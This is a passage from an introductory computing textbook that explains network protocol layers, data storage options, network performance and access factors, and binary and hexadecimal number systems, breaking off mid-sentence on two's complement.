When a browser requests a page, the request passes down the stack, from HTTP to TCP to IP to Ethernet. At each layer, a header is added that wraps the data handed down from the layer above, so the HTTP request becomes the payload of a TCP segment, which becomes the payload of an IP packet, which is carried inside an Ethernet frame. The receiver unwraps the headers in reverse order. The benefit of layering is that each layer can ignore how the others work. A browser uses HTTP without handling routing, which is IP's job, while TCP manages reliable delivery. Lower layers can also change without affecting the applications above: a school that replaces its cabled network with Wi-Fi changes the link layer, and every web application keeps working unchanged. The sections below climb the stack from the link layer up.

The link layer: Wi-Fi and hardware addresses

The link layer moves data across a single local connection. **Ethernet** does this over cables, and **Wi-Fi** connects devices wirelessly using radio signals. Because Wi-Fi uses radio, walls and distance weaken its signal, which is a separate matter from the speed of the Internet connection behind it. Wi-Fi also divides its radio frequencies into **channels**, and networks sharing a channel compete for airtime, so in a crowded building with many networks, moving to a channel with less interference helps.

A wireless network announces a name, its **service set identifier** (SSID). The SSID only labels the network. It is separate from the Wi-Fi password, which lets devices join, and from the router's administrator password, which controls changes to the router's settings. A router whose default administrator password was never changed can be reconfigured by anyone who knows that default, whatever the Wi-Fi password is.

Within a local network, data are delivered using **MAC addresses**, hardware identifiers assigned to each **network interface** (the hardware that connects a device to a network). The switches described in 0003.d forward data using these addresses. A MAC address identifies an interface, while an IP address, described next, depends on the network a device is currently connected to. Some networks admit only approved MAC addresses, a measure called MAC filtering, but this is weak by itself, because MAC addresses can be changed in software, so a device with a copied address looks like the approved one.

The Internet layer: IP and its addresses

The Internet layer moves packets between networks. **Internet Protocol** (IP) addresses and routes packets, and routers forward each packet toward its destination network based on the IP address in its header. **IPv4** uses 32-bit addresses written as four numbers separated by dots, such as `192.168.1.20`. Each number is 8 bits, so each must be between `0` and `255`. Thirty-two bits allow about 4.3 billion addresses, which proved too few for a world of phones, laptops, and connected devices, and **IPv6**, with 128-bit addresses that vastly expand the space, was developed largely in response to IPv4 address exhaustion.

One way IPv4 has stretched its supply is with private addresses. Addresses such as `192.168.x.x` are private: they are reused on many local networks, and the router translates them to a public address for Internet traffic, so the duplicates never conflict. This shows something more general about IP addresses. Networks give addresses to the devices that join them, and routing depends on where a device is connected, so an IP address reflects the current network and changes as a device moves, from home to school, for instance. Many users or devices may also share one address. An IP address therefore identifies a location on the network, not a person.

Assigning these addresses by hand doesn't work well: giving two devices the same address causes a conflict. **Dynamic Host Configuration Protocol** (DHCP) solves this by having a server automatically assign available IP addresses to devices as they join a network. Because DHCP acts when devices join, a DHCP failure affects new arrivals first, while laptops that already hold addresses keep working. A device that needs a stable address, such as a shared printer, can have a fixed address reserved for it on the DHCP server, which keeps automatic assignment for everything else. And as 0003.c noted, a device showing a self-assigned `169.254` address got no address from DHCP at all.

The Internet layer also carries messages about the network itself. **Internet Control Message Protocol** (ICMP) carries diagnostic and error messages, and two familiar tools use it to test connections. `ping` sends a message to a host and reports whether it responds and the **round-trip delay**, the

time for the message to get there and back. That delay is a different property from capacity, so a `ping` time says nothing about how much data a connection can carry. Many servers and firewalls are configured to ignore these diagnostic messages, so no reply doesn't prove that a host is down. `traceroute` lists each hop, each router along the path to a destination, with the delay to each. Stars in its output mean no reply, so output that stops after a hop suggests that packets are failing or being blocked somewhere beyond it. If the delay to your own router is low but delay jumps farther along, the local network is fine and the slowness lies along the path to the site.

The transport layer: TCP and UDP

IP delivers packets on a best-effort basis: some may be lost, and they may arrive out of order. The transport layer decides what to do about that, and the Internet offers two protocols that make opposite choices. Both use **port numbers** to separate the different applications running on one host, so that web traffic and mail traffic arriving at the same address reach the right programs.

Transmission Control Protocol (TCP) provides reliable, ordered delivery. Before any application data flows, the two ends establish a connection with a **three-way handshake**, an exchange of three messages in which they agree to communicate. TCP then numbers the data it sends, the receiver sends **acknowledgments** confirming receipt, and if an acknowledgment doesn't arrive within a timeout, the sender retransmits. The numbering lets the receiver restore the original order. Web pages and email need this, since a page or message with missing or scrambled pieces is useless. TCP also slows down when it detects signs of congestion, such as lost packets, and then speeds up again, which helps keep shared networks stable. TCP's guarantees don't include secrecy, which is provided separately, and they cost time, so TCP isn't the faster of the two.

User Datagram Protocol (UDP) sends packets faster, with lower overhead and no delivery confirmation. It does nothing about loss or order, so losses go unnoticed unless the application checks for them, though UDP packets still have a header with addresses and ports. This suits real-time applications, where low delay matters more than completeness. In a live video call, audio that is resent would arrive too late to be useful, so waiting for retransmission would only add delay. In an online game, a newer position update soon replaces a lost one, so resending has little value. UDP also suits DNS lookups, described below, which are small queries and replies. Applications that use UDP but need some reliability can add their own sequence numbers and acknowledgments.

The application layer: names, the web, and email

At the top of the stack, application protocols define what programs actually say to each other. The first thing most connections need is a name lookup. People use names like `www.buffalo.edu`, but IP routes by address, so the **Domain Name System** (DNS) translates domain names into IP addresses. Registering a domain name also creates a public record of who registered it, and a **WHOIS** lookup retrieves that record, which can help in judging who is behind a site, though many registrants now pay to keep their details private. DNS usually uses UDP on port 53. Its hierarchy begins at the end of a name: in `mail.dept.buffalo.edu`, the **top-level domain** `edu` comes first, then `buffalo` within

it, and so on leftward. Each new name needs a lookup before a connection can start, so a slow lookup adds noticeable delay before a page begins to load. Answers are cached, stored for a set time and reused, which speeds later lookups but means that changes to a record spread gradually, as old answers remain in caches until they expire. DNS is also a point of attack. If its records are maliciously altered, users on an affected network can be redirected to the wrong IP address for a website even when they type its name correctly. A site that loads by its IP address but not by its name points to DNS as the problem.

Hypertext Transfer Protocol (HTTP) transfers web content through requests and responses: a client sends a request, and a server sends back a response.[79] Plain HTTP is unencrypted, so anyone capturing the traffic can read it. **HTTPS** adds encryption and server authentication using **Transport Layer Security** (TLS), which encrypts traffic in transit and uses certificates to tie the encryption to a domain. Its cost is a slightly slower connection setup, because the TLS handshake adds extra steps to verify the server and establish encryption, and that cost is generally outweighed by the benefits. A browser's padlock indicates an encrypted connection, not a trustworthy operator, since phishing and malicious sites can use HTTPS too. For a site with a login form, the fix for data readable on the way is enabling TLS on the server and redirecting all requests to HTTPS. Hashing stored passwords or requiring stronger ones does nothing for data in transit. The whole session needs protection, too: a site that returns to HTTP after login exposes its **session cookies**, the tokens that keep a user logged in, which can be captured and used to take over accounts.

An HTTP request names a **method**, saying what the client wants done. `GET` requests data, and `POST` submits it.[80] When a student submits a guestbook entry and then sees it on the page, the `POST` submitted the entry and the later `GET` only displayed it. The difference has consequences. Following a link sends a `GET`, which automated tools such as search-engine crawlers assume is safe to repeat, so a link that deletes data can be triggered by a crawler, and deletions need another method such as `POST` or `DELETE`. Sending a password in a `GET` request puts it in the URL, and although HTTPS protects the URL in transit, URLs are often kept in browser history and server logs, so passwords belong in a `POST` body over HTTPS. Other methods exist as well: `PUT`, `DELETE`, `OPTIONS`, and `TRACE`. `OPTIONS` asks which methods a server allows for a resource, without changing anything. Repeating a `PUT` has the same effect as sending it once, unlike `POST`, which may create a new entry each time. These methods exist because HTTP was designed more broadly than the browsing that now dominates its use, for a collaborative network, a shared space where people would edit documents together as well as read them. Most public services now limit these methods.

Each response carries a three-digit **status code**, grouped by its first digit.[81] Codes in the 200s mean success, the 300s mean redirection, the 400s mean client errors, and the 500s mean server errors. A few codes are worth knowing individually. `301` signals a lasting move and sends users and search engines to the new address, which makes it the right response when a site reorganizes its pages. `401` means the user needs to log in. `404 Not Found` often means a mistyped path. `503` means the

[79] MWC2, Riddles: HTTP requests, responses, verbs, and status codes.
[80] MWC2, Riddles: HTTP requests, responses, verbs, and status codes.
[81] MWC2, Riddles: HTTP requests, responses, verbs, and status codes.

service is temporarily overloaded or unavailable, so the users did nothing wrong and a later attempt should work. Because an error response can still have a body, a script fetching data should check the status code before using a response.

Email and file transfer use their own protocols. **Simple Mail Transfer Protocol** (SMTP) sends email and relays it between mail servers, and **IMAP** retrieves it from a server, which is why a mail program asks for separate sending and receiving settings. IMAP keeps mail on the server and keeps its state in sync across devices, so a message read on a phone shows as read on a laptop. Each server that handles a message typically adds a `Received:` line to its header, so several of them show that the message passed through multiple mail servers. An open SMTP relay, one that forwards mail from anyone, gets abused for spam. **File Transfer Protocol** (FTP) transfers files, but plain FTP sends credentials and files unencrypted, so anyone capturing the traffic can read them.

Troubleshooting with the layers

The layered model also gives troubleshooting a systematic order. Because each layer relies on the ones below, a problem can be located by working upward from the lowest layer: confirm the Wi-Fi signal or cable connection, then whether the device has an IP address, then whether it can reach its router and beyond with `ping` or `traceroute`, then whether names resolve through DNS, and finally whether the application itself responds. Each check that passes clears a layer and narrows the search above it. Protocols determine how data moves, but data also has to be kept somewhere between transfers, and the next section turns to where data is stored.

- **protocol**: a set of rules for how devices format, address, send, and acknowledge messages
- **packet switching**: breaking data into packets that are routed separately and reassembled at the destination
- **packet**: a unit of data with a header and a payload
- **header**: the part of a packet that says where it is going and how to reassemble it
- **link layer**: moves data across one local link (Wi-Fi, Ethernet)
- **Internet layer**: addresses and routes packets between networks (IP)
- **transport layer**: delivers data between programs (TCP, UDP)
- **application layer**: defines what programs say to each other (HTTP, DNS, SMTP)
- **Wi-Fi**: wireless networking using radio signals
- **service set identifier (SSID)**: a wireless network's name
- **MAC address**: a hardware identifier used for delivery within a local network
- **Internet Protocol (IP)**: the protocol that addresses and routes packets between networks; IPv4 uses 32-bit addresses and IPv6 uses 128-bit addresses
- **private address**: an address such as `192.168.x.x`, reused on local networks and translated at the router
- **Dynamic Host Configuration Protocol (DHCP)**: automatically assigns IP addresses to devices joining a network
- **Internet Control Message Protocol (ICMP)**: carries diagnostic and error messages, used by `ping` and `traceroute`

- **port number**: a number that separates applications on one host
- **Transmission Control Protocol (TCP)**: reliable, ordered delivery using a handshake, acknowledgments, and retransmission
- **User Datagram Protocol (UDP)**: fast, low-overhead delivery with no confirmation
- **Domain Name System (DNS)**: translates domain names into IP addresses
- **WHOIS**: a lookup that retrieves the public registration record for a domain name
- **Hypertext Transfer Protocol (HTTP)**: transfers web content through requests and responses
- **HTTPS**: HTTP with encryption and server authentication using TLS
- **HTTP methods**: `GET` requests data, `POST` submits it, and `PUT`, `DELETE`, `OPTIONS`, and `TRACE` serve other purposes
- **status codes**: 200s success, 300s redirection, 400s client errors, 500s server errors
- **SMTP**: sends and relays email
- **IMAP**: retrieves email, keeping it on the server and in sync
- **File Transfer Protocol (FTP)**: transfers files

Practice questions: 0003.e, page 730.

0003.f Data storage

Section 0003.b described two kinds of memory inside a computer: RAM, fast but volatile, and storage, slower but lasting. That contrast is the first step of a larger hierarchy. Moving outward from the processor, data can sit in registers, in RAM, on a drive inside the device, on a device elsewhere on the local network, or on servers across the Internet, and each step outward generally trades speed and direct control for capacity, sharing, and independence from any one device. This section follows that outward path, starting with how storage is measured and the devices inside a computer, then comparing local and remote storage. Once data lives in more than one place, a second question arises: how the copies relate to one another. The rest of the section takes up the main answers, which are copies kept in sync, copies kept for redundancy, data split into parts, and copies placed near users.

Measuring storage

Storage is measured in **bytes**, and a byte is 8 bits (0003.h explains bits). The larger units each step up by roughly a factor of a thousand: a **kilobyte** is about a thousand bytes, a **megabyte** about a thousand kilobytes, a **gigabyte** about a thousand megabytes, and a **terabyte** about a thousand gigabytes. Some sense of scale helps. Text is measured in kilobytes, a photo in megabytes, and a two-hour high-definition video in gigabytes. Because each unit is a thousand times the one before, estimates are mostly a matter of counting thousands. Two thousand recordings of 500 megabytes each come to 1,000,000 megabytes, which is about 1,000 gigabytes, or 1 terabyte. A 64-gigabyte card holds about 64,000 megabytes, so it fits about 16,000 photos of 4 megabytes each. When comparing sizes written in different units, convert first: 64,000 kilobytes is only about 64 megabytes, smaller than a 900-megabyte file.

Network speeds add one trap. They are usually quoted in bits per second, while file sizes are given in bytes. Since a byte is 8 bits, a 100-megabyte file is 800 megabits, so over a 100-megabit-per-second connection it takes about eight seconds, not one.

Storage devices

Inside a computer or attached to it, three kinds of device are common. A **hard disk drive** (HDD) stores data magnetically on spinning platters, read and written by a head that moves to each requested location. Hard drives offer a low cost per unit of storage, which suits a large, rarely used archive. Their moving parts are also their weakness. Moving the head takes time, which slows random access, where data are read from scattered locations, and a fall can damage the platters or head. A **solid-state drive** (SSD) stores data in **flash memory**, which keeps data without power and has no moving parts. With no head to move, scattered reads are much faster, and with nothing mechanical to damage, an SSD is more durable. A sensible arrangement often uses both: hard drives for the archive and solid-state drives for files in constant use. **Removable media** such as **USB drives** are portable and need no network, which makes them useful for carrying files to a place where the network is blocked, but a small device is easy to lose.

Local and remote storage

Where data is kept is a choice with trade-offs on both sides. **Local storage**, on a device the owner holds or on a server they run, offers fast access without an Internet connection and direct control over the data. A school whose files are on its own server can reach them during an Internet outage, since no outside connection is needed. The other side of control is responsibility: the owner handles maintenance and backups, and data can be lost with the device. A photographer whose only copy of a collection is on one laptop risks losing it permanently if the laptop fails or is stolen, and the remedy is making additional copies. Holding the device gives control, but the owner also takes on theft, loss, and upkeep, so the security of local data depends on those practices, not on location alone. Local storage suits an organization with staff to maintain it, such as a clinic that keeps an on-site storage server its own staff maintain and back up.

Cloud storage keeps data on remote servers reached through a network. Each of a user's devices connects to the copy held on the provider's servers and syncs with it, so a change made on a laptop reaches the phone, and files can be reached from any location and shared with others. Because the remote copy is separate from the user's devices, it survives losing a device: a student whose laptop is stolen can still reach coursework that was also held in the cloud. The trade-offs come from depending on others. Cloud storage depends on connectivity, so an outage blocks access even though the data are intact. It depends on a provider's security, terms, and continued service, so sensitive data such as medical or student records calls for a review of both security and terms before convenience is considered.[82] And its costs continue: recurring subscription fees, and **lock-in**, the difficulty of moving data to another provider, can outweigh a first year's savings.

[82] MWC2, Banjo app: a teacher portal case study, including requirements, components, and FERPA.

Between the device and the cloud sits a middle option. **Network-attached storage** (NAS) is a dedicated device that provides shared file storage over a local network. Because local network speeds are often much faster than Internet connections, a NAS moves huge files, such as video projects, faster than cloud storage, since they never cross the Internet connection. Its performance depends on traffic on the local network and on demand on the device. Like other local storage, it is a single location, so a fire or burglary can destroy everything on it unless a copy is kept elsewhere.

Keeping copies consistent

Once data is in more than one place, the copies have to be kept consistent. **Synchronization** carries a change made on one copy to the others, so that all copies stay consistent across devices. Trouble comes when copies are out of contact. If two people edit the same document while offline, their copies diverge, and when they reconnect the conflicting edits must be merged or resolved. A simple rule called "last write wins" keeps only the copy saved most recently, which means the changes in the other version disappear with no warning to their author. Timing is a trade-off as well: syncing less often uses less bandwidth during the day, but copies diverge for longer, so people work from outdated copies and conflicts become more likely. One more property of sync is easy to miss. A synchronized copy reproduces deletions as well as additions, so it isn't independent, and sync isn't a backup. A **backup** is an independent copy that a mistake on the original doesn't reach.

Redundant copies

Synchronization keeps copies consistent for convenience, and redundant storage keeps copies for availability. **Redundant arrays of independent disks** (RAID) keep data across several drives, so that data remain available if one drive fails. In **mirroring**, one common form, a second drive keeps a complete copy of the first, so a server can continue with no loss if one drive stops working. **Replication** does the same across locations, so that a flood shutting down one data center for a week leaves the data available at another. These are the storage version of the redundancy described in 0003.d, and they have costs of their own. Distant replication can slow writes, because each write waits for its copy to cross a network and be confirmed at the second site. More importantly, redundancy copies every change at once, including accidental deletions and file corruption, which reach both drives at the same moment. Like sync, RAID and replication therefore don't replace backups, and they don't address other threats such as stolen passwords.

Splitting data across devices

Some datasets are too large or too busy for one device, and the response is to divide them instead of copying them. **Partitioning**, or **sharding**, divides a database across devices, with each piece of data living in one place. A good partitioning generally groups data likely to be used together, such as storing each region's customers together on their own server, or each year's records separately, so that most queries read far less data, since older years needn't be searched. Two problems limit this. Uneven keys overload some partitions: dividing usernames by first letter sounds even, but letters aren't equally common among usernames, so the servers for common letters receive most of the

data and traffic. And queries that cross partitions are slower, because a report that needs data from every partition must gather and combine results from many separate devices.

Copies near users

The last arrangement places copies close to the people who need them. A **content delivery network** (CDN) stores copies of popular content on servers in many regions and answers each request from a nearby location, which reduces latency, the delay in data travel. A company whose videos load slowly for European viewers can fix this by storing copies on servers in or near Europe. Because most requests are served by those copies, a CDN also reduces the load on the **origin server**, the one that holds the original. Its copies are caches, which persist until they expire or are replaced, so after a file is updated some regional servers may briefly keep delivering the earlier copy. CDNs therefore suit popular static content, such as a product video watched by customers around the world, and not private or rapidly changing data. Latency, load, and capacity are themselves among the factors that shape how networks perform, which the next section examines.

- **byte**: 8 bits; kilobyte, megabyte, gigabyte, and terabyte are each roughly a thousand times the one before
- **hard disk drive (HDD)**: storage that records data magnetically on spinning platters, with low cost per unit of storage
- **solid-state drive (SSD)**: storage that uses flash memory, with no moving parts, so it is faster and more durable
- **removable media**: portable storage such as USB drives
- **local storage**: data kept on a device or server the owner controls
- **cloud storage**: data kept on remote servers reached through a network
- **lock-in**: the difficulty of moving data to another provider
- **network-attached storage (NAS)**: a dedicated device providing shared file storage over a local network
- **synchronization**: keeping copies of data consistent across devices
- **backup**: an independent copy used to restore data after loss
- **RAID**: redundant arrays of independent disks, which keep copies of data across drives
- **mirroring**: keeping a complete copy of one drive on another
- **replication**: keeping copies of data in separate locations
- **partitioning (sharding)**: dividing a database across devices, grouping data likely to be used together
- **content delivery network (CDN)**: servers in many regions that store copies of popular content near users
- **origin server**: the server that holds the original content

Practice questions: 0003.f, page 750.

0003.g Factors affecting networks

The sections so far have described how networks are built and how data moves through them. This section steps back to ask what affects a network once it exists and people depend on it. It first sets out the measures used to describe how well a network performs, since the effect of any factor shows up in them. It then takes the factors in five groups, which differ in kind as well as in subject. Scale is a matter of demand: how many people and devices use the network, and when. Access is a matter of geography and economics, of who can reach a network at all. Reliability concerns physical things, such as cables, power, and weather. Security and user behavior bring in the people, whose habits affect both the load on a network and its risks, and the section ends with one example where convenience and security pull directly against each other, account recovery.

Measuring performance

People often describe a connection by a single number, its speed, but several distinct measures are involved. **Bandwidth** is a connection's maximum data capacity, the figure an Internet plan advertises, such as 100 megabits per second. **Throughput** is the rate actually achieved, which can be much lower. A speed test that reports 40 megabits per second on a 100-megabit plan is measuring throughput, while the 100 is the bandwidth. Performance also depends on the whole path, not on any one link. Data crossing several links can move no faster than the slowest of them, and other factors such as latency matter too, so if a video call to another school is poor even after a school upgrades its own connection, another part of the path, such as a slower link, is probably limiting it.

Three further measures describe the timing of data, not its quantity. **Latency** is the delay in data travel, the time for data to get from one end to the other. **Jitter** is the variation in that delay. Two meetings can have the same average delay, but if packets in one of them arrive at uneven intervals, that one has jitter. **Packet loss** is data that never arrives. Each of these especially harms **real-time applications**, which must play data at the moment it is due, such as a live video conversation with a classroom in another country. A half-second delay adds almost nothing to a bulk file transfer or an email message, but it makes a conversation awkward. For recorded video, jitter is smoothed by **buffering**: the player stores a few seconds of video ahead and plays from that store at a steady pace, even when packets arrive unevenly. A live call can't buffer much without adding delay, and as 0003.e explained, real-time applications often skip retransmission, because a resent packet would arrive too late to be played at the right moment, and a small gap is less disruptive than a growing delay.

These measures also reveal when a network is running out of capacity. As a network grows, falling available bandwidth and rising latency are key signs that it is approaching its limit. When throughput nears the bandwidth of a link, traffic competes for the remaining capacity and users experience slower responses. A server whose throughput stops rising as demand grows, while its response times climb, has hit a capacity limit somewhere in the system.

Scale: congestion and growth

The most common cause of reaching that limit is simply sharing. **Congestion** occurs when many users share limited capacity, as when the residents of a neighborhood together demand more than their shared link can carry. This is why networks often slow at peak times, such as evenings at home or the first minutes of a class period at school. The packet switching described in 0003.e is what makes sharing economical, and congestion is its cost. TCP responds automatically: packet loss is a sign of congestion, so a TCP sender resends the missing data and reduces its sending rate. People can respond too, by spreading demand out. If every class streams the same video over a school's Internet link, storing a copy on a local server, which is a form of **caching**, means classes no longer use the link for it, and scheduling viewings at different times has a similar effect. Adding capacity helps, but often for less time than expected, because demand tends to grow into new capacity: after an upgrade, residents' use of data can grow to fill it, and congestion returns even though the number of users stays the same.

Growth in the number of connected devices raises the stakes. The **Internet of Things** (IoT) refers to everyday devices that connect to networks, such as thermostats, cameras, door locks, and sensors. Each device needs a network address to communicate, so their growing numbers increase the demand for addresses, one reason for the move to IPv6 described in 0003.e. They also increase traffic, since small amounts of data from a great many devices add up. And they increase the number of potential points of attack, particularly because many devices are rarely updated, so a flaw discovered in one may stay open for as long as it stays connected. A common response is to place such devices on a separate **network segment**, apart from sensitive systems such as student records, which limits what a compromised device can reach.

Access: geography, cost, and new technology

Scale is a problem of having many users, and access is the problem of reaching users at all. Network access depends on infrastructure cost and population density. Building a network means laying cable or putting up towers, and where homes are far apart, the cost per customer is much higher, so providers see too little revenue to justify building. This is why rural communities are often underserved. Low-income communities are often underserved as well, even where lines exist, because the availability of a service doesn't by itself make it affordable. Two kinds of response appear in practice. Public funding can cover part of the cost of building networks where that cost exceeds expected revenue. **Cooperatives**, networks owned by their members, can serve areas where providers see too little profit, because their decisions can reflect local needs instead of outside profit targets. Section 0001.c places these gaps within the wider digital divide.

New wireless technologies are sometimes presented as the answer to these gaps, and their physics shows why the answer is mixed. High-frequency **5G** cellular service offers high speeds but short range, so it needs many cell sites. Many sites are most economical where many customers live close together, so 5G tends to favor dense, already well-served areas, and a new technology doesn't automatically reach underserved communities. Satellites take a different approach. A traditional

geostationary satellite orbits far from Earth, staying over one spot, and the long distance its signals travel adds latency. **Low-Earth-orbit** satellites are much closer to Earth, so signals travel a much shorter distance and latency is lower, and they can bring service to remote regions without building wired networks or many cell sites. Because each low satellite covers a small area and moves quickly across it, continuous coverage requires many of them.

Reliability: physical factors

A network that people can reach still has to keep working, and reliability depends on factors that are largely physical: redundant paths, equipment quality, power, weather, and physical damage to cables. Storms, power failures, and severed cables are typical causes of outages. Each factor has a matching protection. An **uninterruptible power supply** (UPS), a battery unit between the equipment and the outlet, bridges short outages so equipment keeps running during brief power failures. A second connection along a different physical path protects against a cable being cut, but only if the paths are truly independent, since damage to a shared trench affects every cable in it, the same lesson about shared risks that 0003.d drew for redundancy in general. Equipment quality matters most where an outage would have serious consequences, so a router that carries critical services deserves better equipment than one serving a break room.

Security and user behavior

The factors so far are largely technical, but networks are used by people, and user behavior affects both the load on a network and its security. On the load side, streaming and peak use add traffic, as when every student logs in to the same service at the start of the hour. On the security side, weak passwords and clicks on malicious links introduce risks, as when someone follows a link in an unexpected email and signs in on a fake page, giving an attacker a way in. Routine use such as streaming mainly adds load, while a single careless click can compromise an account. Because both problems come from behavior, the remedies address behavior. Staggering class start times spreads logins across the hour and reduces the peak a server must handle. Scheduling updates after hours moves their load away from the school day, and training staff to recognize fraudulent messages addresses phishing. Policies need to account for how people will actually behave, since burdensome rules invite workarounds, as a rule requiring a password change every week tends to produce passwords written on sticky notes.

Account recovery shows the tension between convenience and security especially clearly. Many sites let a user who forgets a password receive a reset link by email. **Email-based password resets** make accounts easier to recover, but they reduce security, because the email account becomes a single point of compromise: anyone who controls a user's mailbox can request reset links and take over the accounts tied to it, without knowing any of their passwords. Several measures limit the risk. Requiring a second factor, such as a code from the user's phone along with the emailed link, protects the account even if the email has been compromised. Short-lived, single-use links reduce the chance that a stolen or forwarded link is used later. **Security questions** are a weak alternative, because their answers, such as a pet's name or a hometown, can often be found or guessed from

public sources such as social media. All of these factors act on data as it moves through a network, and underneath every one of them the data is just bits, which is the subject of the final section of this part.

- **bandwidth**: a connection's maximum data capacity
- **throughput**: the rate of data transfer actually achieved
- **latency**: the delay in data travel
- **jitter**: variation in latency
- **packet loss**: data that never arrives
- **buffering**: storing data ahead so that playback can proceed at a steady pace
- **congestion**: slowdown when many users share limited capacity
- **caching**: keeping a nearby copy of data to avoid fetching it again
- **Internet of Things (IoT)**: everyday devices connected to networks
- **network segment**: a separate part of a network that limits what devices on it can reach
- **cooperative**: a network owned by its members
- **5G**: high-frequency cellular service with high speeds and short range
- **low-Earth-orbit satellite**: a satellite close to Earth, giving lower latency than a geostationary one but covering a small, moving area
- **uninterruptible power supply (UPS)**: a battery unit that bridges short power outages
- **email-based password reset**: account recovery through a link sent by email
- **security questions**: personal questions used to verify identity, weak because answers can be found or guessed

Practice questions: 0003.g, page 763.

0003.h Number systems

Every earlier section of this part, from the logic gates in 0003.b to the addresses in 0003.e and the colors on a screen, rests on one representation: the bit. This section works upward through levels of granularity. It begins with why hardware uses two states at all, then shows how a row of bits counts and how many values it can hold. It then describes two ways of writing those values, binary and hexadecimal, which differ only in notation. The last part turns to meaning. The same bits can be read as a positive number, a negative number, a character, or a color, depending on the convention used to interpret them, and several of those conventions are worth knowing in detail.

Why computers use binary

Computer hardware is built from transistors, which act as switches that are either on or off. Hardware can distinguish two states most reliably, which is why computers use **binary**, a system with just two digits, `0` and `1`.[83] The reason is physical. Electrical signals always carry some noise, small random variations in voltage. If a wire had to represent ten different levels for the ten decimal digits, the levels would be close together, and small amounts of noise would be hard to distinguish

[83] MWC2, Encoding: bits, booleans, integers, and text.

from a real signal. Two widely separated states tolerate noise far better, since a signal has to be badly distorted before "on" could be mistaken for "off." It also helps to be clear about what a bit is. The hardware holds physical states, such as a voltage being high or low, and `0` and `1` are how those states are read. Bits are the interpretation of physical states, and, as the rest of this section shows, an **encoding** supplies their further meaning.

Bits, bytes, and how much they can hold

A **bit** is a single binary digit, `0` or `1`, and a **byte** is 8 bits, so 3 bytes are `3 * 8`, or `24`, bits. The number of distinct values a group of bits can represent grows quickly: `n` bits represent `2^n` distinct values.[84] One bit has 2 values, two bits have 4 (`00`, `01`, `10`, `11`), and each added bit doubles the count, since every existing pattern can be followed by either a `0` or a `1`. So 4 bits store 16 values, `0` through `15`, a byte has `2^8`, or 256, and going from 6 bits to 7 raises the count from `64` to `128`. Working backward answers the question of how many bits a set of codes needs. To give each of 300 items a distinct code, 8 bits are too few, because `2^8` is `256`, while 9 bits are enough, since `2^9` is `512`. The doubling also explains the scale of the move from IPv4 to IPv6 in 0003.e: 128-bit addresses give `2^128 / 2^32`, or `2^96`, times as many addresses as 32-bit ones.

Binary place value

A row of bits represents a number the same way decimal digits do, by **place value**, except that each place is worth twice the one to its right instead of ten times. A useful picture is a row of light switches, each labeled with its place value, where the number is the total of the labels on the switches that are on. Binary is **base 2**, with place values of `1`, `2`, `4`, `8`, `16`, `32`, and so on from the right. To convert binary to decimal, add the place values where a `1` appears: `1011` is `8 + 2 + 1`, or `11`, and `110101` is `32 + 16 + 4 + 1`, or `53`. To convert decimal to binary, find which place values add up to the number. Nineteen is `16 + 2 + 1`, so the `16`, `2`, and `1` places are on, giving `10011`.[85] Arithmetic works on the same principle, and converting is the simplest check: `1011 + 0110` is `11 + 6`, or `17`. Adding a `0` on the right doubles a number, because each digit moves to a place worth twice as much, just as adding a `0` to a decimal number multiplies it by ten.

Hexadecimal

Long strings of bits are hard for people to read and easy to copy wrongly, so programmers often write them in **hexadecimal**, which is **base 16**. Base 16 needs sixteen digits, so after `0` to `9` it uses the letters `A` to `F`, where `A` is `10`, `B` is `11`, and so on up to `F`, which is `15`. Place values are `1`, `16`, `256`, and so on from the right. So `2F` is `2 * 16 + 15`, or `47`, and `3C` is `3 * 16 + 12`, or `60`. Going the other way, `42` is `2 * 16 + 10`, which is `2A`. One consequence can be confusing at first: `10` in hexadecimal is sixteen, not ten, because the left digit counts sixteens. Likewise, `FF` is `15 * 16 + 15`, or `255`, the largest two-digit value.

[84] MWC2, Encoding: bits, booleans, integers, and text.
[85] MWC2, Encoding: bits, booleans, integers, and text.

What makes hexadecimal useful is its exact fit with binary. A hexadecimal digit has sixteen possible values, and `2^4` is `16`, so each hexadecimal digit corresponds to exactly four bits. Converting between the two therefore means working one digit or one four-bit group at a time, with no arithmetic on the whole number. `B3` is `1011 0011`, since `B` is `1011` and `3` is `0011`, and `7D` is `0111 1101`, since `D`, which is `13`, is `1101`. In the other direction, `1010 0110` is `A6`. When the number of bits isn't a multiple of four, the groups must be formed from the right, because that is where the place values start: `101101` groups as `10` and `1101`, giving `2D`. Decimal digits don't line up with groups of bits in this way, which is why hexadecimal and not decimal is the usual shorthand for binary.

The same fit makes lengths easy to work out. A byte is exactly two hexadecimal digits, a 32-bit value is `32 / 4`, or 8, hexadecimal digits, and a MAC address written as 12 hexadecimal digits holds `12 * 4`, or 48, bits. This is why hexadecimal appears wherever people need to read long binary values: in **hex dumps**, which display the raw bytes of a file or of memory, in memory addresses, in hardware addresses such as a network card's MAC address, and in web colors. Everyday quantities, such as a count of students, are normally given in decimal. Notation doesn't change the stored value or its size. A value written as `FF`, as `255`, or as `1111 1111` is the same 8 bits, and hexadecimal is chosen only because it is short and maps exactly back to bits.

Interpreting bits: colors, characters, and negative numbers

Bits mean only what a convention says they mean, and a few conventions are common enough to know well.

A **web color** written as `#RRGGBB` gives the intensities of red, green, and blue light as two hexadecimal digits each, from `00` (none) to `FF` (full). The first pair is red, the middle pair is green, and the last pair is blue, so `#FF0000` is pure red, `#0000FF` is pure blue, and `#FFFFFF`, all three at full intensity, is white. Halving each component darkens a color while keeping its proportions, so half of `#CC6600`, an orange, is `#663300`, a brown. Since each channel is one byte with 256 values, the number of possible colors is `256^3`, about 16.7 million.

A **character encoding** assigns a number to each character, so text can be stored as bytes.[86] **ASCII** uses 7 bits for basic English text, which gives `2^7`, or 128, characters. In ASCII, `"A"` is `65` and `"a"` is `97`. The difference between them is `32`, which is `2^5`, so an uppercase letter and its lowercase form differ in a single bit. ASCII has no room for most of the world's writing systems, and **Unicode** covers them all. Unicode text is often stored in **UTF-8**, a variable-length encoding that uses one to four bytes per character, so common characters such as basic English letters take one byte, the same as in ASCII, while others take more. Because the same bytes can represent different text under different encodings, bytes need a known encoding to be interpreted as text, and reading them under the wrong encoding garbles it, producing strings of odd symbols in place of accented letters.

Negative numbers need a convention too. The usual one is **two's complement**: to represent a negative number, take the bits of the positive number, invert every bit, and add `1`.[87] For `-1` in 8 bits,

[86] MWC2, Encoding: bits, booleans, integers, and text.
[87] MWC2, Encoding: bits, booleans, integers, and text.

